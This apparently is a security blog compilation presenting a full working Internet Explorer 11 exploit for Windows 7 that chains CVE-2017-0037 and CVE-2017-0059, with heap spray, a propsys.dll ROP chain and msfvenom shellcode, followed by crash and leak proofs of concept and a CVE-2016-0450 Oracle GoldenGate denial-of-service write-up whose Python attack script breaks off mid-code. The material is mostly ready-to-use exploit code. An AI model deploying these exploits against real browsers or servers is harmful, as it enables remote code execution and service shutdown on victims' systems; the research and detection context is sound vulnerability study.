IE11 Exploit for Windows 7 x64

CVE-2017-[0037 and 0059]

Internet Explorer 11

Following the last 2 blog posts for both CVE-2017-0037 and CVE-2017-0059 here’s a full working exploit for IE11 <= 11.0.37 for Windows 7 (32 and 64 bit). I tested it only on two (not too) different machines so please if you have the opportunity to try it on multiple environments let me know the results!

Credits

Ivan Fratric (@ifsecure): he found the two original bugs.
Peter Van Eeckhoutte (@corelanc0d3r): for the techniques and tip/tricks learned from his Advanced exploitation training which I highly recommend.

Also, a huge thank you to OJ (@TheColonial). He kindly accepted to port the exploit to Metasploit. Hopefully it’ll be ready soon 🙂

index.html

https://github.com/redr2e/exploits/blob/master/CVE-2017-0037_CVE-2017-0059/index.html

<html>
<head>
	<style>
		.class1 { float: left; column-count: 5; }
		.class2 { column-span: all; columns: 1px; }
		table {border-spacing: 0px;}
	</style>
	<script>

	var base_leaked_addr = "";

	function infoleak() {
	
		var textarea = document.getElementById("textarea");
		var frame = document.createElement("iframe");
	 
		textarea.appendChild(frame);
		frame.contentDocument.onreadystatechange = eventhandler;

		form.reset();
		
	}
	 
	function eventhandler() {
	
		document.getElementById("textarea").defaultValue = "foo";
		// Object replaced here
		// one of the side allocations of the audio element
		var audioElm = document.createElement("audio");
			audioElm.src = "test.mp3";
				
	}
	
	function writeu(base, offs) {
	
		var res = 0;
		if (base != 0) {  res = base + offs }
		else {  res = offs }
		res = res.toString(16);
		while (res.length < 8) res = "0"+res;
		return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
		
	}
	
	function readu(value) {
                
		var uc = escape(value);
		var ucsplit = uc.split('%');
		var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', ''));
		return res;
		
	}
		
	function spray() {
	
		// DEPS technique used here - avoid null bytes

		var hso = document.createElement("div");
		base_leaked_addr = parseInt(base_leaked_addr,16);

		var junk = unescape("%u0e0e%u0e0e");
		while (junk.length < 0x1000) junk += junk;


		var rop = unescape(
			writeu(base_leaked_addr,0x56341) + 
			writeu(base_leaked_addr,0x56341) + 
			writeu(base_leaked_addr,0x9b7c) + 
			writeu(0,0xffffffff) + 
			writeu(base_leaked_addr,0x2a89e) + 
			writeu(0,0x41414141) + 
			writeu(base_leaked_addr,0x4e385) + 
			writeu(0,0x41414141) + 
			writeu(base_leaked_addr,0x2030f) + 
			writeu(base_leaked_addr,0x9b7c) + 
			writeu(0,0x41414141) + 
			writeu(0,0x41414141) + 
			writeu(0,0xf07645d5) + 
			writeu(base_leaked_addr,0x6e002) + 
			writeu(0,0x41414141) + 
			writeu(base_leaked_addr,0xaebc) + 
			writeu(base_leaked_addr,0x9b7c) + 
			writeu(0,0xffffffbf) + 
			writeu(base_leaked_addr,0x2a89e) + 
			writeu(0,0x41414141) + 
			writeu(base_leaked_addr,0x6361b) + 
			writeu(base_leaked_addr,0x432cf) + 
			writeu(0,0x41414141) + 
			writeu(0,0x41414141) + 
			writeu(base_leaked_addr,0x9b7c) + 
			writeu(base_leaked_addr,0x5cef1) + 
			writeu(base_leaked_addr,0x4177e) + 
			writeu(base_leaked_addr,0x9b7c) + 
			writeu(base_leaked_addr,0x1244) + 
			writeu(base_leaked_addr,0xa819) + 
			writeu(0,0x41414141) + 
			writeu(base_leaked_addr,0x2720b) + 
			"" );

		/*
		
		Original VirtualAlloc ROP generated with mona.py - www.corelan.be
		Library used "propsys.dll", part of the Windows Search functionality (?)
		and last updated Nov 2010. I think it's a good target for our needs.
		Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction
		
		"%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll] 
		"%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll]
		"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] 
		"%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001
		"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] 
		"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
		"%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll] 
		"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate)
		"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f :  # POP EBX # RETN    ** [PROPSYS.dll] **   |   {PAGE_EXECUTE_READ}
		"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] 
		"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
		"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
		"%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx)
		"%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll] 
		"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
		"%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll] 
		"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] 
		"%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
		"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] 
		"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
		"%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll] 
		"%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll] 
		"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
		"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
		"%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll] 
		"%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll] 
		"%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll]
		"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] 
		"%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll]
		"%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll]  --> changed to  0x6af3a819 :  # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN    ** [PROPSYS.dll] **   |   {PAGE_EXECUTE_READ}
		"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) 
		"%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll]
		
		*/
		
		
		
		// Move ESP to the VirtualAlloc ROP chain
		var stack_shift_rop = unescape(
			writeu(0,235802130) +
			writeu(base_leaked_addr,0x2030f) + // 0x6af5030f :  # POP EBX # RETN    ** [PROPSYS.dll] **   |   {PAGE_EXECUTE_READ}
			writeu(0,0x0e0e1258) +
			writeu(base_leaked_addr,0x28002) +  // 0x6af58002 :  # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08    ** [PROPSYS.dll] **   |   {PAGE_EXECUTE_READ}
			writeu(0,0x41414141) +
			writeu(0,0x41414141) +
			writeu(base_leaked_addr,0x0b473) + //0x6af3b473 :  # XCHG EAX,ESP # RETN    ** [PROPSYS.dll] **   |   {PAGE_EXECUTE_READ}
			writeu(0,0x41414141) + 
			writeu(0,0x41414141) +
			"");
		
		
		

		// root@kali:~# msfvenom  -p windows/exec cmd=calc.exe -b "\x00" -f js_le
		// ~2854 bytes max
		
		var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
		 		"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
		"");
	
		
		var xchg = unescape(writeu(base_leaked_addr, 0x0b473));  // Initial EIP control ---> 0x6af3b473 :  # XCHG EAX,ESP # RETN    ** [PROPSYS.dll] **   |   {PAGE_EXECUTE_READ}
		var fix1 = 0x15c; 
		var fixop = unescape("%u0e0e%u0e0e");
		var offset_to_stack_shift = 0x6f7;
		var offset_to_xchg = 0xd2+2;
		// Jumping a bit around here, pretty sure this can be simplified but hey... it works
		data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg;
		data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length);
	
		while (data.length < 0x80000) data += data;
		for (var i = 0; i < 0x350; i++) 
		{
			var obj = document.createElement("button");
			obj.title = data.substring(0,(0x7fb00-2)/2); 
			hso.appendChild(obj);
		}
	}

	function boom() {
		document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
		th1.align = "right";
	}
	
	setTimeout(function() {

		var txt = document.getElementById("textarea");
		var il = txt.value.substring(0,2);
		var leaked_addr = readu(il);
		base_leaked_addr = leaked_addr - 0xbacc; // base of propsys
		base_leaked_addr = base_leaked_addr.toString(16);
		spray();
		boom();
		
	}, 1000); // can be reduced
	</script>
</head>

<body onload=infoleak()>
	<form id="form">
		<textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
	</form>
<script>

</script>
	<table cellspacing="0">
		<tr class="class1">
		<th id="th1" colspan="0" width=2000000></th>
		<th class="class2" width=0><div class="class2"></div></th>
	</table>
</body>
</html>

CVE to PoC – CVE-2017-0037

CVE-2017-0037

Internet Explorer

“Microsoft Internet Explorer 10 and 11 and Microsoft Edge have a type confusion issue in the Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement function in mshtml.dll, which allows remote attackers to execute arbitrary code via vectors involving a crafted Cascading Style Sheets (CSS) token sequence and crafted JavaScript code that operates on a TH element.”

The PoC

The vulnerability was found by Ivan Fratric of Google Project Zero. The following is the PoC he provided:

<!-- saved from url=(0014)about:internet -->
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
  document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
  th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>

With a few notes:

The PoC crashes in
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement
when reading from address 0000007800000070
[...]
Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address.
[...]
Let's take a look at the code around the rip of the crash.

00007ffe`8f330a51 488bcd          mov     rcx,rbp
00007ffe`8f330a54 e8873c64ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a59 48833800        cmp     qword ptr [rax],0 ds:00000078`00000070=????????????????
00007ffe`8f330a5d 743d            je      MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c)
00007ffe`8f330a5f 488bcd          mov     rcx,rbp
00007ffe`8f330a62 e8793c64ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a67 488b30          mov     rsi,qword ptr [rax]
00007ffe`8f330a6a 488b06          mov     rax,qword ptr [rsi]
00007ffe`8f330a6d 488bb848030000  mov     rdi,qword ptr [rax+348h]
00007ffe`8f330a74 488bcf          mov     rcx,rdi
00007ffe`8f330a77 ff155b95d700    call    qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)]
00007ffe`8f330a7d 488bce          mov     rcx,rsi
00007ffe`8f330a80 ffd7            call    rdi

On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations).

On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory.

However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls.

Assuming an attacker can pass a check on line 00007ffe`8f330a59, MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line 00007ffe`8f330a80.

Sounds pretty easy to control that CMP condition if we can perform heap spray and point EAX to some memory location we control.

Control EIP

First of all let’s confirm that the PoC works:

(654.eec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000038 ebx=049f4758 ecx=049f4758 edx=00000002 esi=00000064 edi=5a0097f0
eip=59a15caf esp=0399bd68 ebp=0399bd94 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
59a15caf 833800          cmp     dword ptr [eax],0    ds:002b:00000038=????????

I played a little bit with the width of that “th” element as suggested by Ivan and found that a value of “2000000” allows us to move the value of EAX to a controlled memory location in the heap spray:

0:018> bu 59a15caf 
0:018> g
[...]
Breakpoint 0 hit
eax=03bd86d4 ebx=03bd86c4 ecx=03bd86c4 edx=00000002 esi=00000064 edi=5a005320
eip=59a15caf esp=03f1c1d8 ebp=03f1c204 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
59a15caf 833800          cmp     dword ptr [eax],0    ds:002b:03bd86d4=a0949807
(skip the first break)

0:007> g
Breakpoint 0 hit
eax=0bebc2d8 ebx=04be9ae0 ecx=04be9ae0 edx=00000002 esi=00000064 edi=5a0097f0
eip=59a15caf esp=03f1c1d8 ebp=03f1c204 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
59a15caf 833800          cmp     dword ptr [eax],0    ds:002b:0bebc2d8=0e0e0e0e


As expected, EAX points to some valid (and controllable) memory location.
If the CMP condition is satisfied the vulnerable routine tries to load the vftable of the object located at “0e0e0e0e” and calls the function at +1A4h:

59a15caf 833800          cmp     dword ptr [eax],0
59a15cb2 7448            je      MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xf1 (59a15cfc)
59a15cb4 8bcb            mov     ecx,ebx
59a15cb6 e8ec8181ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (5922dea7)
59a15cbb 8965f0          mov     dword ptr [ebp-10h],esp
59a15cbe 8b18            mov     ebx,dword ptr [eax]
59a15cc0 8b03            mov     eax,dword ptr [ebx]
59a15cc2 8bb8a4010000    mov     edi,dword ptr [eax+1A4h]
59a15cc8 8bcf            mov     ecx,edi
59a15cca ff15ac1f455a    call    dword ptr [MSHTML!__guard_check_icall_fptr (5a451fac)]
59a15cd0 8bcb            mov     ecx,ebx
59a15cd2 ffd7            call    edi


Step by step:
59a15cbe 8b18            mov     ebx,dword ptr [eax]  ds:002b:0bebc2d8=0e0e0e0e
59a15cc0 8b03            mov     eax,dword ptr [ebx]  ds:002b:0e0e0e0e=0e0e0e0e
59a15cc2 8bb8a4010000    mov     edi,dword ptr [eax+1A4h] ds:002b:0e0e0fb2=41414141
59a15cd2 ffd7            call    edi {41414141}

The following is a working PoC to set EIP to 41414141

<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>

	function boom() {
	  document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
	  th1.align = "right";
	}
</script>
<body onload="setInterval(boom,1000)">
<div id="hs"></div>
<script>
	// Heap Spray - DEPS avoid null bytes
	var hso = document.getElementById("hs");
	hso.style.cssText = "display:none";
	
	var junk = unescape("%u0e0e%u0e0e");
	while (junk.length < 0x1000) junk += junk;
	
	var rop = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
	var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
	var xchg = unescape("%u4141%u4141"); // initial EIP control
	
	var offset = 0x7c9; // to control eip
	var data = junk.substring(0,offset) + xchg + rop + shellcode; 
	data += junk.substring(0,0x800-offset-xchg.length-rop.length-shellcode.length);

	while (data.length < 0x80000) data += data;
	for (var i = 0; i < 0x350; i++) 
	{
		var obj = document.createElement("button");
		obj.title = data.substring(0,(0x7fb00-2)/2); // 2 null bytes terminator
		hso.appendChild(obj);
	}
	
</script>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th> <!-- width should control eax contents, should land somewhere in the heap spray -->
<th class="class2" width=0><div class="class2"></div></th>

Working Exploit

It’s pretty obvious, we have a memory leak and control of EIP. Chain together CVE-2017-0059 and CVE-2017-0037 and you’ll have a working exploit for Windows 7 and IE11.

CVE to PoC – CVE-2017-0059

CVE-2017-0059

Internet Explorer

“There is an use-after-free bug in IE which can lead to info leak / memory disclosure.
The bug was confirmed on Internet Explorer version 11.0.9600.18537 (update version 11.0.38).
[…]
The root cause of a bug is actually a use-after-free on the textarea text value, which can be seen if a PoC is run with Page Heap enabled.”

The PoC

The vulnerability was found by Ivan Fratric of Google Project Zero. He kindly provided a proof of concept to trigger the uaf with Page Heap enabled:

<!-- saved from url=(0014)about:internet -->
<script>
 
function run() {
  var textarea = document.getElementById("textarea");
  var frame = document.createElement("iframe");
 
  textarea.appendChild(frame);
 
  frame.contentDocument.onreadystatechange = eventhandler;
 
  form.reset();
}
 
function eventhandler() {
  document.getElementById("textarea").defaultValue = "foo";
  alert("Text value freed, can be reallocated here");
}
 
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" cols="80">aaaaaaaaaaaaaaaaaaaaaaaa</textarea>

With HPA:

(a2c.6ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=123d3fc8 ebx=00000019 ecx=123d3fc8 edx=123d3fc8 esi=107dafcc edi=00000000
eip=76fec006 esp=098db398 ebp=098db3a4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
msvcrt!wcscpy_s+0x46:
76fec006 0fb706          movzx   eax,word ptr [esi]       ds:002b:107dafcc=????

0:007> !heap -p -a esi
    address 107dafcc found in
    _DPH_HEAP_ROOT @ 4da1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   103e3138:         107da000             2000
    5c3e947d verifier!AVrfDebugPageHeapReAllocate+0x0000036d
    77ea126b ntdll!RtlDebugReAllocateHeap+0x00000033
    77e5de86 ntdll!RtlReAllocateHeap+0x00000054
    59b4f453 MSHTML!CTravelLog::_AddEntryInternal+0x00000215
    59b38b69 MSHTML!MemoryProtection::HeapReAlloc<0>+0x00000026
    59b47145 MSHTML!_HeapRealloc<0>+0x00000011
    595ac33e MSHTML!BASICPROPPARAMS::SetStringProperty+0x00000546
    5950ec9c MSHTML!CBase::put_StringHelper+0x0000004d
    59f771b0 MSHTML!CFastDOM::CHTMLTextAreaElement::Trampoline_Set_defaultValue+0x00000070
    5bb0e21a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000019d
    5bb0ec95 jscript9!Js::JavascriptOperators::CallSetter+0x00000138
    5bb0ebd2 jscript9!Js::JavascriptOperators::CallSetter+0x00000076
    5bb0f74e jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x00000341
    5bb0f546 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040
    5bb0f5c6 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d
    5bb0a0fb jscript9!Js::InterpreterStackFrame::Process+0x00002c1e
    5bb0d899 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200

The Exploit

A really quick analysis revealed that what can be replaced is the memory chunk that was allocated (and then freed) for the text of the text area. Also, it looks like this allocation was made in the default process heap.

Find an object with the same size of the chunk pointed by ESI (or slightly a bit less) allocated within the same heap and with useful information in it (vtables?) and the leaked data will be copied into content of the text area (via that “movzx” instruction that you see above).
The good news is that the chunk pointed by EDI can be resized by changing the amount of text you put in the text box.

Limitations:
 - the first dword is not copied (duh..)
 - null bytes will terminate the copy (this means no '\x00\x00', unless after the data we're interested in)

Examples:
Object 1
1st DWORD: vtable ptr
2nd DWORD: 00000000
3rd DWORD: vtable ptr
result: no leak, copy is terminated at the second dword, first dword is ignored

Object 2
1st DWORD: 00000000
2nd DWORD: 0000dead
3rd DWORD: vtable ptr
results: same as before

Object 3
1st DWORD: vtable ptr
2nd DWORD: vtable ptr
3rd DWORD: 00000000
results: second vtable ptr leaked


After a few failed experiments I managed to leak vtable pointer for dlls such as ntdll, mshtml, urlmon and, even better, propsys (a dll which was last updated in 2010, rop on this will be much more reliable):

Leak of ntdll:

<script>

function run() {
	var textarea = document.getElementById("textarea");
	var frame = document.createElement("iframe");

	textarea.appendChild(frame);
	frame.contentDocument.onreadystatechange = eventhandler;

	form.reset();
}

function eventhandler() {

	document.getElementById("textarea").defaultValue = "foo";

	// Object replacement here (in default process heap)
	// Size depends on amount of text in textarea

	var j = document.createElement("canvas");
	ctx=j.getContext("2d");
	ctx.beginPath();
	ctx.moveTo(20,20);
	ctx.lineTo(20,100);
	ctx.lineTo(70,100);
	ctx.strokeStyle="red";
	ctx.stroke();


	// Object replaced
	// ntdll leak

}
 
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaa</textarea>
<script>

setTimeout(function() {
	var txt = document.getElementById("textarea");
	var il = txt.value.substring(2,4);
	var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
	alert(addr.toString(16));
}, 1000);

</script>

Leak of mshtml/urlmon

<!-- saved from url=(0014)about:internet -->
<script>

function run() {
  var textarea = document.getElementById("textarea");
  var frame = document.createElement("iframe");
 
  textarea.appendChild(frame);
  frame.contentDocument.onreadystatechange = eventhandler;

  form.reset();
}
 
function eventhandler() {

  document.getElementById("textarea").defaultValue = "foo";

  // Object replacement here (in default process heap)
  // Size depends on amount of text in textarea

  var o = document.createElement("progress");   
  
  // Object replaced
  // "progress" object triggers multiple allocations, some in the default heap
  // Can leak address in URLMON or MSHTML

}
 
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
<!-- <textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>     FOR URLMON -->
<!-- <textarea id="textarea" style="display:none" cols="80">aaaaaaaaa</textarea>    FOR MSHTML -->

<script>

setTimeout(function() {
  var txt = document.getElementById("textarea");
  var il = txt.value.substring(0,2);
  var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
  alert("Leaked: 0x"+addr.toString(16));
}, 1000);


</script>

Leak of propsys 🙂

<!-- saved from url=(0014)about:internet -->
<script>

function run() {
	var textarea = document.getElementById("textarea");
	var frame = document.createElement("iframe");

	textarea.appendChild(frame);
	frame.contentDocument.onreadystatechange = eventhandler;

	form.reset();
}

 
function eventhandler() {

	document.getElementById("textarea").defaultValue = "";


         var audioElm = document.createElement("audio");
         audioElm.src = "test.mp3";

}
 
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>

<script>

setTimeout(function() {
  var txt = document.getElementById("textarea");
  var il = txt.value.substring(0,2);
  var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
  alert("Leaked: 0x"+addr.toString(16));
}, 1000);


</script>

CVE to PoC – CVE-2016-0450

CVE-2016-0450

Oracle GoldenGate

“This vulnerability allows remote attackers to cause a denial condition on vulnerable installations of Oracle GoldenGate. Authentication is not required to exploit this vulnerability.”

The Product

“Oracle GoldenGate is a comprehensive software package for real-time data integration and replication in heterogeneous IT environments. The product set enables high availability solutions, real-time data integration, transactional change data capture, data replication, transformations, and verification between operational and analytical enterprise systems.”

Oracle GoldenGate is a product widely adopted by multiple well-known companies. The strategic position of where this software is installed together with the data handled by it, increase the severity of remotely exploitable vulnerabilities such the one described in this document.

The software is compatible with multiple platforms such as Windows, Linux, Solaris and AIX. The version affected by these security issues are 11.2 and 12.1.2.
The following document describes a scenario in which the software is installed on a Windows Server 2008 R2 64bit machine with Oracle Database 12c and Windows Firewall configured to allow traffic on TCP port 7809.

The Vulnerability

The vulnerability can be triggered remotely by an attacker that has access to port 7809 on the target server. More information can be found here:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0450
http://www.zerodayinitiative.com/advisories/ZDI-16-021/

The affected service is called GoldenGate Manager and is the software that starts Oracle GoldenGate processes, collector processes, perform trail management and more. It runs by default with SYSTEM privileges.

Since the vulnerability exists within the logics of the application, no security mechanisms such as DEP, ASLR, etc.. can mitigate the issue.

Basically an attacker has the possibility to send commands to the Manager service without any form of authentication or authorisation. To do this the malicious user needs to:

  • Obtain the GoldenGate suite of executables (installation is not necessary), which includes the Manager software and the executable called “ggsci.exe”; or
  • Send directly the commands to the remote server following the structure of its custom protocol.

This document describes the latter technique.
Essentially each command sent to the server must:

  • Start with the length of the packet (2 bytes); and
  • The command issued to the Manager service with spaces replaced by the byte 0x9

This can be easily observed with a network sniffer (tcpdump/Wireshark) by monitoring two instances of GoldenGate communicate with each other:

To perform a Denial of Service the attacker simple needs to issue the “MANAGER STOP” command that orders the Manager server to shutdown.

The packet would be something similar:

\x00\x0cMANAGER\x09STOP

Detection and Mitigations Guidance

The attack is carried over a custom protocol. The recommendation is to apply immediately the patch released by the vendor.
Malicious requests can be difficult to detect since remote commands are part of the functionality of the software. Limitations can be however put in place, by preventing the “MANAGER STOP” command to be issued remotely. The string to search for would be “manager\x09stop”, case insensitive.

Summary

  • The Denial of Service attack targets the Oracle GoldenGate versions 11.2 and 12.1.2 on each of the operating systems supported.
  • All the vulnerabilities can be triggered remotely by an attacker that has access to TCP port 7809 (with default settings) on the target server.
  • There are no exploit mitigations since the bug exists within the logics of the application.

Python scripts

cmd.py

import socket
import struct 
import sys


WELCOME = '''
--------------------------------------------------
Oracle GoldenGate Denial of Service Vulnerability

CVE-2016-0450
ZDI-16-021
--------------------------------------------------
'''

HELP = '''Usage: python {0} target [cmd]
Example: python {0} 192.168.0.100 "MANAGER STOP"
'''.format(sys.argv[0])
# MANAGER STOP - shuts down the service that must be then restarted manually
# Other commands, if known, can be provided to the manager

DEST_PORT = 7809 # 7809 is the default TCP port for the Manager Service

def appendLength(str):
 return struct.pack(">H", len(str)) + str  
 # The first 2 bytes (represented in big endian format) define the length of the packet

def prepCmd(str):
 cmd = str.replace(" ","\x09")
 # For some unknown reason spaces between each word are replaced with \x09
 return appendLength(cmd)


print WELCOME

if (len(sys.argv) < 2):
 print HELP
 exit(-1)

target = sys.argv[1]

if (len(sys.argv) < 3):
 cmd = "MANAGER STOP"
else:
 cmd = sys.argv[2]

print repr(prepCmd(cmd))
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.settimeout(10)

try:
 print "[*] Trying to connect to %s:%s" % (target, DEST_PORT)
 s1.connect((target, DEST_PORT)) 
except socket.error, err:
